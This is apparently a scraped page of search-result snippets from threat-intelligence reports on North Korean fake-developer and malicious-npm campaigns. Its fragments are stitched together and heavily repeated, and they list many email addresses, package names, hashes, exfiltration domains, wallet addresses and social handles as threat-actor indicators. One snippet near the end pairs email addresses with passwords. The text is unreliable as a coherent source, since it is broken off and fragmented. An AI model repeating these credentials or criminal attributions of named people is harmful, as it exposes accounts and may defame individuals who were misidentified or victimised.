valeevalex97@gmail.com vampire030505@gmail.com v…","…m8s-lab can also be found heavily connected to HyperBuildX. Github URL: https://github.com/g0drlc E-mails: robinhood97110@gmail.com, utommy.abs@gmail.com Other Names: G0drlc, Tommy Ericsson, g0drlc, temric Twitter: https://x.com/xg0drlc g0drlc is also engaged in some co-operation…","…rkdev0050@onepunch.space upworkreal1@outlook.com urayamaeizo@gmail.com uri.dev.0802@gmail.com ustarlight007@gmail.com v.rafikwork@gmail.com v54wma1h@anonaddy.me vadymmartynenko0@gmail.com valcano103@gmail.com valeevalex97@gmail.com vampire030505@gmail.com vasyl.chow@gmail.com venus.jb.066@gmail.com…","…ace upworkreal1@outlook.com urayamaeizo@gmail.com uri.dev.0802@gmail.com ustarlight007@gmail.com v.rafikwork@gmail.com v54wma1h@anonaddy.me vadymmartynenko0@gmail.com valcano103@gmail.com valeevalex97@gmail.com vampire030505@gmail.com vasyl.chow@gmail.com venus.jb.066@gmail.com versatile.skydev@gmail.com…","…email insider N/A N/A Synthetic persona email 2 masudtarik69@gmail.com email insider N/A N/A Synthetic persona email 2 vaikokangur45@outlook.com email insider N/A N/A Synthetic persona email 2 osogovskiplanini001@outlook.com email insider N/A N/A Synthetic persona email 2…","…urayamaeizo@gmail.com uri.dev.0802@gmail.com ustarlight007@gmail.com v.rafikwork@gmail.com v54wma1h@anonaddy.me vadymmartynenko0@gmail.com valcano103@gmail.com valeevalex97@gmail.com vampire030505@gmail.com vasyl.chow@gmail.com venus.jb.066@gmail.com versatile.skydev@gmail.com vhkechichian+1@gmail.…","…m uri.dev.0802@gmail.com ustarlight007@gmail.com v.rafikwork@gmail.com v54wma1h@anonaddy.me vadymmartynenko0@gmail.com valcano103@gmail.com valeevalex97@gmail.com vampire030505@gmail.com vasyl.chow@gmail.com venus.jb.066@gmail.com versatile.skydev@gmail.com vhkechichian+1@gmail.com vhkechichian@gmail.…","…email insider N/A N/A Synthetic persona email 2 vinkolukac.dev@outlook.com email insider N/A N/A Synthetic persona email 2 valentincinika@outlook.com email insider N/A N/A Synthetic persona email 2 bosevskibale6@gmail.com email insider N/A N/A Synthetic persona email 2…","…21bfaa51988b8dc7220f58d33e570d50ce43bc6103f872fda68db1eafe7729c6 2026-09-15 chai-as-agile (2.4.7) 2026-09-15 valentyn830 <valentyndovhan830@gmail.com> 6ae47651f95735e18c7370aa04d1577ffbd19c20eed57729c777cac6d4a83f4b 2026-09-15 chai-as-crack (7.0.5) 2026-09-15 elizabeth422…","…April 2026 sladjanas@nxlog.tech Email address Attacker-controlled email address April 2026 valerie@empowerpharmacy.space Email address Attacker-controlled email address April 2026 vanjamirkovic@nxlog.tech Email…","…email insider N/A N/A Threat actor persona email 4 brianyoung.lucky@gmail.com email insider N/A N/A Threat actor persona email 4 valerykrapiv@gmail.com email insider N/A N/A Threat actor persona email 4 dveretenov@gmail.com email insider N/A N/A Threat actor persona email 4…","…urbanhomefinder35266@gmail.com urbanlivingteam00074@gmail.com urbanpropertyguide43812@gmail.com valleyhomesguide14195@gmail.com victormolonna510727@outlook.com vitalcityhomes22591@gmail.com westfieldhomeagent66414@gmail.com…","…alexandercruciata11@gmail.com danxeth436@gmail.com jennyjenkins783@gmail.com david36271@outlook.com rkupriyanof@gmail.com vallierhilaire@gmail.com willsuccess47@gmail.com ahmedali06091@gmail.com c258789456@gmail.com derek00144@gmail.com devin1571@outlook.com…","…ts-bigtn 2026-03-26 live registry bilalkilnaz.54@gmail.com ts-bing 2026-03-25 graph first seen v.al.s.o.lo.mon7.0@gmail.com ts-lint-builds 2026-03-20 live registry ca.r.lane.es1.2.6@googlemail.com ts-relayer-client 2026-03-23 live…","…m ustarlight007@gmail.com v.rafikwork@gmail.com v54wma1h@anonaddy.me vadymmartynenko0@gmail.com valcano103@gmail.com valeevalex97@gmail.com vampire030505@gmail.com vasyl.chow@gmail.com venus.jb.066@gmail.com versatile.skydev@gmail.com vhkechichian+1@gmail.com vhkechichian@gmail.com victorlutsenko7@gmai…","…timothygaffney08@gmail.com top1152025@outlook.com top6042025@outlook.com trentonwork105@gmail.com vandesaw@dewacid.store venjamindeco0305@gmail.com victoria88@celestiad.tech vinkeyasmael@hotmail.com vladkashka56@gmail.com vladzane569@gmail.com…","…Eddan_jiang@outlook.com elmakha224ar@outlook.com sebastian.93.e@hotmail.com nicolas.ju915@gmail.com sobaka1525@outlook.com Vanesapaula81@outlook.com joaopebasso12@outlook.fr Rodrigonahuelsanchez1998@outlook.com.ar nurtissera@outlook.com aitbaunty@outlook.com…","…sjs-builders 2026-04-09 live registry ayal.a.d.av.e.7@gmail.com sjs-lint-build1 2026-04-07 live registry vanes.s.p.orit.a@googlemail.com swplayer-react-sl 2026-03-28 live registry cubistengineer@gmail.com tailwind-animationbasic 2026-03-28 live…","…Accounts: polaris1004@outlook.com[email protected] , vanguardSat@outlook.com[email protected] , assasinSat@outlook.com[email protected] , pioneer1120@outlook.com[email protected] ,…","…valerie@empowerpharmacy.space Email address Attacker-controlled email address April 2026 vanjamirkovic@nxlog.tech Email address Attacker-controlled email address April 2026 nemesistrade.work Domain Related…","…Manager at Mentonex but appeared to be using a stock image found at several different sites And buildwithria , linked to the email varduhimarieta@gmail.com[email protected] , was flagged in GitHub community discussion #184838 for scamming another user — sending a cloned repo, attempting to…","…email insider N/A N/A Synthetic persona email 2 popovicjelena727@gmail.com email insider N/A N/A Synthetic persona email 2 vaskovdime@gmail.com email insider N/A N/A Synthetic persona email 2 jozefmtech@gmail.com email insider N/A N/A Synthetic persona email 2…","…During the investigation, I found that vasyl.chow@gmail.com had setup their recovery email as supereaglehunter@gmail.com , which are in the same list. By checking out the emails, I came across a…","…email insider N/A N/A Synthetic persona email 2 pavlehristov.work@outlook.com email insider N/A N/A Synthetic persona email 2 vedranpodrug@outlook.com email insider N/A N/A Synthetic persona email 2 zvonkobogdan.cr@outlook.com email insider N/A N/A Synthetic persona email 2…","…hotaruemori@gmail.com[email protected] veerapandianvijai@gmail.com[email protected] akijohansson116@gmail.com[email protected] paulmillet0803@gmail.com[email protected]…","…hotaruemori@gmail.com veerapandianvijai@gmail.com akijohansson116@gmail.com paulmillet0803@gmail.com henryan373@gmail.com wulong.sky@gmail.com saburo.snow@gmail.com stanleyc.sky@gmail…","…email insider N/A N/A Synthetic persona email 2 kondradgodzki@outlook.com email insider N/A N/A Synthetic persona email 2 velizarborisov.fs@outlook.com email insider N/A N/A Synthetic persona email 2 trivuniliikc519@gmail.com email insider N/A N/A Synthetic persona email 2…","…email insider N/A N/A Synthetic persona email 2 bobituntev001@outlook.com email insider N/A N/A Synthetic persona email 2 velyokazepov@gmail.com email insider N/A N/A Synthetic persona email 2 nestorovskiemilija100@gmail.com email insider N/A N/A Synthetic persona email 2…","…timothygaffney08@gmail.com top1152025@outlook.com top6042025@outlook.com trentonwork105@gmail.com vandesaw@dewacid.store venjamindeco0305@gmail.com victoria88@celestiad.tech vinkeyasmael@hotmail.com vladkashka56@gmail.com vladzane569@gmail.com warfelbyeon95om0@hotmail.com…","…l.com sotaro.yoshimoto@gmail.com proguardseo@gmail.com justin424w@gmail.com satoshi.fukuzumi309@gmail.com martinjosipovic17@gmail.com venturewell@gmail.com satoshi.fukuzumi47@gmail.com blocklimax@gmail.com dcnc336@gmail.com myronenkoyaroslav4@gmail.com avoroy@biztechadvisors.com katelevsk…","…Developer - supervenus0725 - SuperDev - Jason07250000 - venus07250000 - VigorousDevelopment524@gmail.com - dev.mania.639@gmail.com - venus07250000@gmail.com - github.com/vigorousdeveloper • [Archive](https://web.archive.org/web/20241207220408/https://github.com/vigorousdeveloper) -…","…Worker Activities](./pdfs/2025-10-22_MSMT-Report.pdf) #### Eujin Ong / Eugene Ong - euj1n0ng - venus90725 - https://x.com/euj1n0ng/ - venus90725@hotmail.com - 0xe9F7E2fb257e28b47B7f3DE0D2c2A6005e8c0646 - 0x8e5E6B2684682eF789d5e28995aE48F18d19b613 - 0x2cfe906a2db457b4bed669a9fb6287c0fecb86a2…","…om v54wma1h@anonaddy.me vadymmartynenko0@gmail.com valcano103@gmail.com valeevalex97@gmail.com vampire030505@gmail.com vasyl.chow@gmail.com venus.jb.066@gmail.com versatile.skydev@gmail.com vhkechichian+1@gmail.com vhkechichian@gmail.com victorlutsenko7@gmail.com victoryp00821@gmail.com vigorring0914@…","…email insider N/A N/A Threat actor persona email 4 alexeu005@gmail.com email insider N/A N/A Threat actor persona email 4 versatile.skydev@gmail.com email insider N/A N/A Threat actor persona email 4 kevinhelan2@gmail.com email insider N/A N/A Threat actor persona email 4…","…vadymmartynenko0@gmail.com valcano103@gmail.com valeevalex97@gmail.com vampire030505@gmail.com vasyl.chow@gmail.com venus.jb.066@gmail.com versatile.skydev@gmail.com vhkechichian+1@gmail.com vhkechichian@gmail.com victorlutsenko7@gmail.com victoryp00821@gmail.com vigorring0914@gmail.com vimaj48616@neckta…","…download ) patrick.sullivan1896 (patrick.sullivan1896@gmail.com) 2026-02-26 10:05:58 expressjs-lint v5.3.2 ( download ) veryanthony00 (veryanthony00@gmail.com) 2026-02-25 22:31:13 loadash-lint v4.17.24 ( download ) charles.cm.morgan (charles.cm.morgan@gmail.com) 2026-02-25 22:26:36 promanage…","…eevalex97@gmail.com vampire030505@gmail.com vasyl.chow@gmail.com venus.jb.066@gmail.com versatile.skydev@gmail.com vhkechichian+1@gmail.com vhkechichian@gmail.com victorlutsenko7@gmail.com victoryp00821@gmail.com vigorring0914@gmail.com vimaj48616@necktai.com volleyvolley321@hotmail.com w.goethe71@gma…","…malicious repository topeupwork.gmail.com Commits to malicious repository vappstore2016@gmail.com Commits to malicious repository viacheslavdanilov889@gmail.com Commits to malicious repository vyommodi@Vyoms-MacBook-Air.local Commits to malicious repository yosket87@gmail.com Commits to…","…mail.com hungpham.web3@gmail.com mak.martynenko22@gmail.com mark.developer.2006@gmail.com kevin.tsang.coder@gmail.com henry.zhang@gmail.com viacheslay.zadorozhnyi3863@gmail.com lucasli.dream1218917@gmail.com kenjitamm@gmail.com shan.shan.eth1994@gmail.com daniellee.dev1@gmail.com markuslaandream1218917@gmail.com ha…","…N/A N/A Threat actor persona email 4 freelancer.honest.developer@gmail.com email insider N/A N/A Threat actor persona email 4 viana.mabel3058@gmail.com email insider N/A N/A Threat actor persona email 4 jairo.business392@yahoo.com email insider N/A N/A Threat actor persona email 4…","…2026-03-20 live registry ca.r.lane.es1.2.6@googlemail.com cli-pretty-logger 2026-04-01 graph first seen vichevmafaaxe@hotmail.com color-cli-log 2026-04-10 live registry pedrorestiffo@outlook.com cookie-parseflow 2026-04-12 live registry…","…email insider N/A N/A Threat actor-controlled email 1 truelife3188@gmail.com email insider N/A N/A Threat actor-controlled email 1 vickydev1018@outlook.com email insider N/A N/A Threat actor-controlled email 1 victm1121@gmail.com email insider N/A N/A Threat actor-controlled email 1…","…email insider N/A N/A Threat actor-controlled email 1 vickydev1018@outlook.com email insider N/A N/A Threat actor-controlled email 1 victm1121@gmail.com email insider N/A N/A Threat actor-controlled email 1 wangsmithsilverstar@gmail.com email insider N/A N/A Threat actor-controlled email…","…0xeabeb8D76E27248eC35333bAdaad9219D8f57973 - ![](./X_2025-11-22_woof_decentra.png) ### Victor Lee - 2024 - victor3290lee@gmail.com - github.com/blue32captain - x.com/blue32captain - 0x50d6b6cf0066a0d3ebf321493da2e77cc40ddd8c -…","…email insider N/A N/A Synthetic persona email 2 gabrieltamas1@outlook.com email insider N/A N/A Synthetic persona email 2 victorajdini@outlook.com email insider N/A N/A Synthetic persona email 2 gavrilvasilevski001@outlook.com email insider N/A N/A Synthetic persona email 2…","…linkedin.com/in/victor-hazard-77ba40305 - github.com/black02430horse - github.com/hazardvictor - happy3guy@gmail.com - victordev67@gmail.com - 0xefcb06b5ea58fb451c64ec278d957f4ebfd26df7 - 0xfba526813d70be714032c7e2554a4fc239627d75 Gnosis Safe -…","…top1152025@outlook.com top6042025@outlook.com trentonwork105@gmail.com vandesaw@dewacid.store venjamindeco0305@gmail.com victoria88@celestiad.tech vinkeyasmael@hotmail.com vladkashka56@gmail.com vladzane569@gmail.com warfelbyeon95om0@hotmail.com…","…pire030505@gmail.com vasyl.chow@gmail.com venus.jb.066@gmail.com versatile.skydev@gmail.com vhkechichian+1@gmail.com vhkechichian@gmail.com victorlutsenko7@gmail.com victoryp00821@gmail.com vigorring0914@gmail.com vimaj48616@necktai.com volleyvolley321@hotmail.com w.goethe71@gmail.com waltentom@gmail.com…","…urbanlivingteam00074@gmail.com urbanpropertyguide43812@gmail.com valleyhomesguide14195@gmail.com victormolonna510727@outlook.com vitalcityhomes22591@gmail.com westfieldhomeagent66414@gmail.com yorktownhomesales08111@gmail.com…","….chow@gmail.com venus.jb.066@gmail.com versatile.skydev@gmail.com vhkechichian+1@gmail.com vhkechichian@gmail.com victorlutsenko7@gmail.com victoryp00821@gmail.com vigorring0914@gmail.com vimaj48616@necktai.com volleyvolley321@hotmail.com w.goethe71@gmail.com waltentom@gmail.com wangli@warped.games wan…","…top-dev-mania - VigorousDevelopment524 - Vigorous Developer - supervenus0725 - SuperDev - Jason07250000 - venus07250000 - VigorousDevelopment524@gmail.com - dev.mania.639@gmail.com - venus07250000@gmail.com - github.com/vigorousdeveloper •…","….066@gmail.com versatile.skydev@gmail.com vhkechichian+1@gmail.com vhkechichian@gmail.com victorlutsenko7@gmail.com victoryp00821@gmail.com vigorring0914@gmail.com vimaj48616@necktai.com volleyvolley321@hotmail.com w.goethe71@gmail.com waltentom@gmail.com wangli@warped.games wangqianjin.golden@gmail.co…","…Signer on Safe 0x0f4 - 0x48f64eb919f72a8ea6b8b86f7a54a3761e53d5dc Signer on Safe 0x0f4 #### Victor Hazard - vihazard430@gmail.com - hazardvictor@hotmail.com - linkedin.com/in/victor-hazard-77ba40305 - github.com/black02430horse - github.com/hazardvictor -…","…email insider N/A N/A Git mirror developer identity 2 thnam0107@gmail.com email insider N/A N/A Git mirror developer identity 2 vijanakaush@gmail.com email insider N/A N/A Git mirror developer identity 2 luis.miguel208@outlook.com email insider N/A N/A Git mirror developer identity 2…","…email insider N/A N/A Threat actor persona email 4 jennalolly93@gmail.com email insider N/A N/A Threat actor persona email 4 vikram.imenso@gmail.com email insider N/A N/A Threat actor persona email 4 greg.work.pro@gmail.com email insider N/A N/A Threat actor persona email 4…","…1af2d92d8f6bdcbe104f1072e6047fdfb6cd588b591fe3a012ffc34359e660e7 2026-09-28 mini-hardhat (1.1.4) 2026-09-28 viktoriias81 <viktoriias0819@outlook.com> 8afb24ec265756af3cafb7aec850542fe05ef6e1d9ff37f5d6bed37f08b3e412 907c5279529f4522f6f298f80b6786b461b9b41e74a5025306eefddbb1e073d0…","…Globally installed npm packages: socket.io-client , screenshot-desktop , clipboardy , @nut-tree-fork/nut-js Maintainer: judebelingham <viktoryavorovskiy@ukr.net> SHA256 (tarball): b5cca27ca1d792bd8c46b83fccfa4e5ba38916eb78877a19cbb39392ce98cc39 Analysis Package Overview…","….skydev@gmail.com vhkechichian+1@gmail.com vhkechichian@gmail.com victorlutsenko7@gmail.com victoryp00821@gmail.com vigorring0914@gmail.com vimaj48616@necktai.com volleyvolley321@hotmail.com w.goethe71@gmail.com waltentom@gmail.com wangli@warped.games wangqianjin.golden@gmail.com wapos17534@fitzola.co…","…discovering exactly the same name and email Git credentials as used by aidenwong812 ; however, there are a few notable differences: vincenzagiorgi6@gmail.com : Maksym Poplavskyi - notice the same email was used with a different name on the aidenwong812 account.…","…top6042025@outlook.com trentonwork105@gmail.com vandesaw@dewacid.store venjamindeco0305@gmail.com victoria88@celestiad.tech vinkeyasmael@hotmail.com vladkashka56@gmail.com vladzane569@gmail.com warfelbyeon95om0@hotmail.com wilderkeatingrmtuw64788@hotmail.com…","…email insider N/A N/A Synthetic persona email 2 emil.rysinov@outlook.com email insider N/A N/A Synthetic persona email 2 vinkolukac.dev@outlook.com email insider N/A N/A Synthetic persona email 2 valentincinika@outlook.com email insider N/A N/A Synthetic persona email 2…","…with blockchain knowledge on levels.fyi , with the following contact info: Contact us: alexander@agencyhill99.com Recruiter: vision.founder1004@gmail.com Pivoting on the text in the job description returned two private job postings on Upwork ( 1 , 2 ).…","…urbanpropertyguide43812@gmail.com valleyhomesguide14195@gmail.com victormolonna510727@outlook.com vitalcityhomes22591@gmail.com westfieldhomeagent66414@gmail.com yorktownhomesales08111@gmail.com yuleyuccaxoiqw85368@outlook.com…","…Year in Review pleasemeup214@gmail.com email malware N/A September 2025 DPRK malware distributor GitLab.com account Year in Review vitalii214.ilnytskyi@gmail.com email malware N/A September 2025 DPRK malware distributor GitLab.com account Year in Review reactangulardev@gmail.com email malware N/A…","…stefanofrick2@gmail.com samuelhuggins3@gmail.com jgod19960520@outlook.com filip.porter9017@outlook.com r29728098@gmail.com vitalii214.ilnytskyi@gmail.com jasonharry198852@gmail.com millosmike3@gmail.com Malicious npm Packages With HexEval Loader # nextjs-https-supertest (live at…","…email insider N/A N/A Threat actor persona email 4 maximmironenkoreact@gmail.com email insider N/A N/A Threat actor persona email 4 vitalyandronuke@gmail.com email insider N/A N/A Threat actor persona email 4 alexeysamsonofff@gmail.com email insider N/A N/A Threat actor persona email 4…","…email insider N/A N/A Synthetic persona email 2 danielmonilis@outlook.com email insider N/A N/A Synthetic persona email 2 vladimirvoski001@outlook.com email insider N/A N/A Synthetic persona email 2 kolyotroske001@outlook.com email insider N/A N/A Synthetic persona email 2…","…vandesaw@dewacid.store venjamindeco0305@gmail.com victoria88@celestiad.tech vinkeyasmael@hotmail.com vladkashka56@gmail.com vladzane569@gmail.com warfelbyeon95om0@hotmail.com wilderkeatingrmtuw64788@hotmail.com williammorphy37@gmail.com…","…same ordinary.txt file: name version released maintainer email vite-postcss-nested 0.0.2 2025-07-15 12:05:01 vladislavkarniushka vladkashka56@gmail.com vite-postcss-bootstrap 0.0.4 2025-07-16 04:36:24 hmax hmax23410@gmail.com vite-postcss-helper 3.0.4 2025-07-17 16:58:01 goldenrhyno…","…50598e7727d87398c69c45d67c393c080ab13fc14332dcf613d7a07dc608c047 2026-08-09 envpack-conf (1.0.1) 2026-08-09 vladomel22888 <vladomel22888@gmail.com> eth-mainnet.public.blastapi.io ${o}:80 ${r}:80 ${o}:443 https://eth-mainnet.public.blastapi.io http://${o}:80…","…vandesaw@dewacid.store venjamindeco0305@gmail.com victoria88@celestiad.tech vinkeyasmael@hotmail.com vladkashka56@gmail.com vladzane569@gmail.com warfelbyeon95om0@hotmail.com wilderkeatingrmtuw64788@hotmail.com williammorphy37@gmail.com wondereleven1@gmail.com…","…email insider N/A N/A Synthetic persona email 2 bosevskibale6@gmail.com email insider N/A N/A Synthetic persona email 2 vlanosdimitri001@outlook.com email insider N/A N/A Synthetic persona email 2 PeterVargova@outlook.com email insider N/A N/A Synthetic persona email 2…","…email insider N/A N/A Synthetic persona email 2 PeterVargova@outlook.com email insider N/A N/A Synthetic persona email 2 vlastimirdeskov001@outlook.com email insider N/A N/A Synthetic persona email 2 aidaszvikas@outlook.com email insider N/A N/A Synthetic persona email 2…","…malware developer accounts Year in Review tagi238761@gmail.com email malware N/A N/A DPRK malware developer accounts Year in Review vlulepet9@gmail.com email malware N/A N/A DPRK malware developer accounts Year in Review cnova.business.en@gmail.com email malware N/A December 2025 DPRK…","…a559a29ace0ce45b0d3741ffe567b3968df2973ff02480c7864c18cb6a53ae49 2026-09-16 laycot (1.3.10) 2026-09-16 laycot <vodoh83959@airychen.com> api.npoint.io https://api.npoint.io/641d37178a880b1e8b8f 98602aca3efb91d6f77d4f3d0283681f1a954821885259b70127a66eb34fa7e4…","…hichian+1@gmail.com vhkechichian@gmail.com victorlutsenko7@gmail.com victoryp00821@gmail.com vigorring0914@gmail.com vimaj48616@necktai.com volleyvolley321@hotmail.com w.goethe71@gmail.com waltentom@gmail.com wangli@warped.games wangqianjin.golden@gmail.com wapos17534@fitzola.com wb.ts416@gmail.com web.d.e…","…sniper_bruce@outlook.com stp.walsh33@gmail.com techcare127@gmail.com truepai415@gmail.com truestar222@outlook.com volodimir.work2020@gmail.com zhangming_k@yahoo.com zhuming1116@gmail.com lisettekolson8@gmail.com 312011217@qq.com alhinglovena3000@gmail.com…","…in Review temorexviashvili17@gmail.com email malware N/A September 2025 DPRK malware distributor GitLab.com account Year in Review vovalishcn77@gmail.com email malware N/A September 2025 DPRK malware distributor GitLab.com account Year in Review seed1996015@outlook.com email malware N/A…","…6637b56b9e5a4a1d2d27043b3c071c2c5c34038988a2f57846535ff89ce81fd1 2026-09-06 array-frames (2.3.6) 2026-09-06 petervanderpool <vp0642537@gmail.com> 93fffb4b24b5cf514b1ac7fba0af9cebbbaad20befd079b92ff013280c7ad65a 2026-09-05 node-helper (1.5.4) 2026-09-05 terrycaldwell1…","…30@onepunch.space upworkdev0050@onepunch.space upworkreal1@outlook.com urayamaeizo@gmail.com uri.dev.0802@gmail.com ustarlight007@gmail.com v.rafikwork@gmail.com v54wma1h@anonaddy.me vadymmartynenko0@gmail.com valcano103@gmail.com valeevalex97@gmail.com vampire030505@gmail.com vasyl.chow@gmail.com ve…","…leowestbcqni01653@outlook.com pascaldev0921@outlook.com reedfowlerccouj11583@hotmail.com topflite4@freyaglam.shop vrindalseth@gmail.com yelyzavetazaporozhtseva@gmail.com Socket Firewall Blocks risky dependencies before they reach your environment…","…(1.3.8) 2026-09-05 jonas_taylor <jonastay0421@gmail.com> 2026-09-05 jwt-logger (2.5.0) 2026-09-05 davidrocky <vs489233@gmail.com> d1cbd31f1206eae7aad162a346177107442b3dd977019b38c0a0a74f2ebf9fc3 2026-09-05 multicore-kit (1.1.5) 2026-09-05 zekewalker…","…changelog-logger-utilities-1.0.0.tgz exfil: changelog.rest 2026-03-15 23:01:08 pretty-ts-logger (v1.0.5) traderdev (vsniper97@gmail.com) pretty-ts-logger-1.0.5.tgz exfil: api.soladify.fun 2026-03-15 22:58:58 jonas-prettier-logger (v2.0.1) jonas-code77 (…","…email insider N/A N/A Synthetic persona email 2 ediurmankovic.cc@gmail.com email insider N/A N/A Synthetic persona email 2 vuksanbojanic@gmail.com email insider N/A N/A Synthetic persona email 2 barry__johnson@outlook.com email insider N/A N/A Synthetic persona email 2…","…9bf2b2c9758f58aae218e03236ce1191815bd081cb23c878106c421c97dd9ca0 2026-09-06 node-helper (1.6.4) 2026-09-06 terrycaldwell1 <wakea8888@gmail.com> sh.Run 6637b56b9e5a4a1d2d27043b3c071c2c5c34038988a2f57846535ff89ce81fd1 2026-09-06 array-frames (2.3.6) 2026-09-06…","…2026-03-30 live registry luk.gm.ek@gmail.com tailwind-stylecss-typography 2026-04-03 graph first seen wakiye8356@fengnu.com tailwind-text-fill 2026-04-13 graph first seen linkjob2026@outlook.com tailwind-typography-cssstyle 2026-04-03…","…lutsenko7@gmail.com victoryp00821@gmail.com vigorring0914@gmail.com vimaj48616@necktai.com volleyvolley321@hotmail.com w.goethe71@gmail.com waltentom@gmail.com wangli@warped.games wangqianjin.golden@gmail.com wapos17534@fitzola.com wb.ts416@gmail.com web.d.e.v.elop.1228@gmail.com web.develop.1228@g…","…developer accounts Year in Review paniker1110@outlook.com email malware N/A N/A DPRK malware developer accounts Year in Review walterjgould77@gmail.com email malware N/A N/A DPRK malware developer accounts Year in Review supernftier@gmail.com email malware N/A N/A DPRK malware developer…","…55, Yanji, Jilin 133000, China; Korea, North; DOB 30 Aug 1987; nationality Korea, North; Email Address wangge327@yahoo.com ; Gender Male (individual) [CYBER4]. The following entities have been added to OFAC's SDN List: ASATRYAN LIMITED LIABILITY COMPANY…","…victoryp00821@gmail.com vigorring0914@gmail.com vimaj48616@necktai.com volleyvolley321@hotmail.com w.goethe71@gmail.com waltentom@gmail.com wangli@warped.games wangqianjin.golden@gmail.com wapos17534@fitzola.com wb.ts416@gmail.com web.d.e.v.elop.1228@gmail.com web.develop.1228@gmail.com webapologur…","…com vigorring0914@gmail.com vimaj48616@necktai.com volleyvolley321@hotmail.com w.goethe71@gmail.com waltentom@gmail.com wangli@warped.games wangqianjin.golden@gmail.com wapos17534@fitzola.com wb.ts416@gmail.com web.d.e.v.elop.1228@gmail.com web.develop.1228@gmail.com webapologuru@gmail.com webdev.0220@gmail…","…email insider N/A N/A Threat actor-controlled email 1 victm1121@gmail.com email insider N/A N/A Threat actor-controlled email 1 wangsmithsilverstar@gmail.com email insider N/A N/A Threat actor-controlled email 1 8613341122552 phone number insider N/A N/A Mobile number of China-based cell…","…imaj48616@necktai.com volleyvolley321@hotmail.com w.goethe71@gmail.com waltentom@gmail.com wangli@warped.games wangqianjin.golden@gmail.com wapos17534@fitzola.com wb.ts416@gmail.com web.d.e.v.elop.1228@gmail.com web.develop.1228@gmail.com webapologuru@gmail.com webdev.0220@gmail.com webdev0505@gmail.c…","…venjamindeco0305@gmail.com victoria88@celestiad.tech vinkeyasmael@hotmail.com vladkashka56@gmail.com vladzane569@gmail.com warfelbyeon95om0@hotmail.com wilderkeatingrmtuw64788@hotmail.com williammorphy37@gmail.com wondereleven1@gmail.com xinrong83@outlook.com…","…6da4ea5c3c91756845433bbc171bfc19aba5231600eee475ee1269f862744911 2026-09-22 chai-logger (3.0.2) 2026-09-22 wish91 <washingtonchaseiry638@outlook.com> df4970a67c9caae5dd2e4603ea726f7624a4c17bb197a1039985a10ff9b56923 2026-09-19 chai-as-viem (1.1.3) 2026-09-19 johnrebman…","…Beraborrow - kAsky53 - kdevdivvy - dev4all.sol / dev4alldotsol - keisukew53 - 0xWoo (minor username) - hirayama1534 (2021) - watanabeatari@gmail.com - t.me/kAsky53 (ID: 1914451016) • ([Messages](./user-1914451016-@kAsky53.txt)) - dev4all.sol =…","…@outlook.com yamamotoziro.0113@gmail.com keinakano415@gmail.com lainhong1205@gmail.com jenson.collins@hotmail.com sunshineseo0614@gmail.com watanabeatari@gmail.com sunmoonlee.19900113@outlook.com johnpatch0502@outlook.com eliteknightgold@outlook.com superdev0292@gmail.com jamescharlie94@outlook.com den…","…olleyvolley321@hotmail.com w.goethe71@gmail.com waltentom@gmail.com wangli@warped.games wangqianjin.golden@gmail.com wapos17534@fitzola.com wb.ts416@gmail.com web.d.e.v.elop.1228@gmail.com web.develop.1228@gmail.com webapologuru@gmail.com webdev.0220@gmail.com webdev0505@gmail.com webdeveloper0704…","…![](./anderson-lee-jack-lin-2.jpg) - ![](./X_2025-11-22_jaclindev99.png) #### Chris Yon - wdev733 - wdev733@gmail.com - devstar.sky20@gmail.com - github.com/cydn95 - 204.44.106.96 - t.me/micry 1012606692 - x.com/adchy2000 - t.me/wdev733 -…","…arped.games wangqianjin.golden@gmail.com wapos17534@fitzola.com wb.ts416@gmail.com web.d.e.v.elop.1228@gmail.com web.develop.1228@gmail.com webapologuru@gmail.com webdev.0220@gmail.com webdev0505@gmail.com webdeveloper0704@gmail.com webdevrose04@gmail.com webdevych@gmail.com webjsguru@gmail.com webmas…","….golden@gmail.com wapos17534@fitzola.com wb.ts416@gmail.com web.d.e.v.elop.1228@gmail.com web.develop.1228@gmail.com webapologuru@gmail.com webdev.0220@gmail.com webdev0505@gmail.com webdeveloper0704@gmail.com webdevrose04@gmail.com webdevych@gmail.com webjsguru@gmail.com webmaster0407@gmail.com webm…","…s17534@fitzola.com wb.ts416@gmail.com web.d.e.v.elop.1228@gmail.com web.develop.1228@gmail.com webapologuru@gmail.com webdev.0220@gmail.com webdev0505@gmail.com webdeveloper0704@gmail.com webdevrose04@gmail.com webdevych@gmail.com webjsguru@gmail.com webmaster0407@gmail.com webmaster0527@gmail.com w…","…ail.com w.goethe71@gmail.com waltentom@gmail.com wangli@warped.games wangqianjin.golden@gmail.com wapos17534@fitzola.com wb.ts416@gmail.com web.d.e.v.elop.1228@gmail.com web.develop.1228@gmail.com webapologuru@gmail.com webdev.0220@gmail.com webdev0505@gmail.com webdeveloper0704@gmail.com webdevrose04@gmail.…","….ts416@gmail.com web.d.e.v.elop.1228@gmail.com web.develop.1228@gmail.com webapologuru@gmail.com webdev.0220@gmail.com webdev0505@gmail.com webdeveloper0704@gmail.com webdevrose04@gmail.com webdevych@gmail.com webjsguru@gmail.com webmaster0407@gmail.com webmaster0527@gmail.com webmaster19941022@gmail.com…","…elop.1228@gmail.com web.develop.1228@gmail.com webapologuru@gmail.com webdev.0220@gmail.com webdev0505@gmail.com webdeveloper0704@gmail.com webdevrose04@gmail.com webdevych@gmail.com webjsguru@gmail.com webmaster0407@gmail.com webmaster0527@gmail.com webmaster19941022@gmail.com webmonster0407@gmail.co…","….develop.1228@gmail.com webapologuru@gmail.com webdev.0220@gmail.com webdev0505@gmail.com webdeveloper0704@gmail.com webdevrose04@gmail.com webdevych@gmail.com webjsguru@gmail.com webmaster0407@gmail.com webmaster0527@gmail.com webmaster19941022@gmail.com webmonster0407@gmail.com webphantom20103@gm…","…gmail.com smartdev531@gmail.com starmastar1126@gmail.com superdev00527@gmail.com tech.veteran71@gmail.com ubiuquitosutrusty@gmail.com web.fan.0509@gmail.com GitHub Indicators…","…com webapologuru@gmail.com webdev.0220@gmail.com webdev0505@gmail.com webdeveloper0704@gmail.com webdevrose04@gmail.com webdevych@gmail.com webjsguru@gmail.com webmaster0407@gmail.com webmaster0527@gmail.com webmaster19941022@gmail.com webmonster0407@gmail.com webphantom20103@gmail.com webstar0104@…","…secret29, 123qwe!@#QWE uri.dev.0802@gmail.com 123qwe!@#QWE vasyl.chow@gmail.com 123qwe!@#QWE, secret29 webmaster0407@gmail.com 123456 webstar0411@gmail.com 123qwe!@#QWE DPRK PASSWORD ANALYSIS It’s clear that these might NOT be the main passwords of DPRK…","….com webdev0505@gmail.com webdeveloper0704@gmail.com webdevrose04@gmail.com webdevych@gmail.com webjsguru@gmail.com webmaster0407@gmail.com webmaster0527@gmail.com webmaster19941022@gmail.com 